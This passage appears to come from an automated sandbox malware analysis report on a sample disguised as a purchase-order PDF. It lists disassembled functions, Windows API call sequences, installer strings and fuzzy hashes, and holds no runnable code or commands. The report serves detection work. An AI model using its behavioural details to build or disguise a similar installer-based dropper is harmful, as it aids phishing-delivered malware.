Instruction Fuzzy Hash: 3DC1B074E01218CFDB55DFA5C994B9DBBB2FF88300F2081A9D909AB365DB349A85CF50

Function 32B3DA9C Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 027fbd92a632d5f9d211dd6013902035c54099d6e3fc393f65b2bc1d88eb1b88
Instruction ID: 1a57fba378b5d1aab0aa9327f5a9e839b3af1ca27dbab33a29848c7e538c0549
Opcode Fuzzy Hash: 027fbd92a632d5f9d211dd6013902035c54099d6e3fc393f65b2bc1d88eb1b88
Instruction Fuzzy Hash: B2C1AE74E01218CFDB55DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF10

Function 32B3B4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53acd313fb0c29989a4473d54c5e9857eaafc157090b55d437237be239dcdd14
Instruction ID: ca1e24c6096b440f91a73313c35423c423dc67224a9b628d80ccb54db8ae1549
Opcode Fuzzy Hash: 53acd313fb0c29989a4473d54c5e9857eaafc157090b55d437237be239dcdd14
Instruction Fuzzy Hash: 14C1AF74E01218CFDB55DFA5C994B9DBBB2FF89300F2081A9D809AB365DB349A85CF50

Function 35938193 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa7db21a0a353bc7ab0c0b403f51567c374f7ada7e1dd8b12ee45131c21d4099
Instruction ID: b37722ca49914f4f01e720a7599bab755d3d7b075d8f6fbad5bf4bb20a3e2d15
Opcode Fuzzy Hash: fa7db21a0a353bc7ab0c0b403f51567c374f7ada7e1dd8b12ee45131c21d4099
Instruction Fuzzy Hash: E1A18C74A02228CFDB64DF64C994B9ABBB2BF4A301F1085EAD44DA7350DB359E81CF51

Function 35938373 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d25e4ed944411e556d7a99a1f724f0245693492f99707c905d9885227e955199
Instruction ID: 569f17fac4f5e791ec351c988965b161b0148ce393c68ed6aeb0758da38f7612
Opcode Fuzzy Hash: d25e4ed944411e556d7a99a1f724f0245693492f99707c905d9885227e955199
Instruction Fuzzy Hash: B8517E74A01228CFCB65DF24C994B9AB7B2FF4A305F5089E9D44AA7350CB359E81CF51

Function 35E6F5D8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc0b721f1f280f8e1a7538006a6f05055ab3bf20fd684fee1cabf8a953aef5f
Instruction ID: 505879582f5e9df1b80762727f0c291b858c28f26d9cf47883a56f74193538f3
Opcode Fuzzy Hash: 5bc0b721f1f280f8e1a7538006a6f05055ab3bf20fd684fee1cabf8a953aef5f
Instruction Fuzzy Hash: 09D01735D512188ACB11DFA898406ECB774EB99310F0120A28248A3110D7B04A90CE41

Function 3593CBE7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530a414393c317c01efedf94df19ab9b76cae2dbf87835c5450bc9def9cdabf4
Instruction ID: 6f57e6aee11de3a3247b10465c33b3456d7c52c05e62d8056692fa098d005bc8
Opcode Fuzzy Hash: 530a414393c317c01efedf94df19ab9b76cae2dbf87835c5450bc9def9cdabf4
Instruction Fuzzy Hash: 9CD09E75D5522CDACB21DF64D8506ECB774FF99300F0125A5814CB7110D7B09E94DA55

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,?,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,?), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
EnableWindow.USER32(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 004042B6 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,?), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,?,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

-B@, xrefs: 004044C2
N, xrefs: 00404452
open, xrefs: 004044C5

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$N$open
API String ID: 3615053054-1057335957
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 0040389E Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

lstrcatW.KERNEL32(00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75923420,00441800,00000000,0043F000), ref: 0040391F
lstrlenW.KERNEL32(00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75923420), ref: 0040399F
lstrcmpiW.KERNEL32(00432E98,.exe,00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(00432EA0), ref: 004039BD
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,0043F800), ref: 00403A06

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

RichEd20, xrefs: 00403ACC
_Nb, xrefs: 00403A22, 00403A8A
RichEdit, xrefs: 00403AF9
.DEFAULT\Control Panel\International, xrefs: 0040390A
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
RichEd32, xrefs: 00403ADA
.exe, xrefs: 004039AC
RichEdit20W, xrefs: 00403AEA, 00403AF0

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,?,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

[Rename], xrefs: 00405E65, 00405E77
NUL, xrefs: 00405D8D
%ls=%ls, xrefs: 00405DF1

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004045B4 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(00432EA0,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,00432EA0), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0043F000,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,?,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 00402DEE Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

(*B, xrefs: 00402E7C
soft, xrefs: 00402EDC
Error launching installer, xrefs: 00402E3E
Null, xrefs: 00402EE5
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
Inst, xrefs: 00402ED3

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: (*B$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2478819026
Opcode ID: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00406077 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040613A
GetSystemDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,00432EA0), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(00432EA0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(00432EA0,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
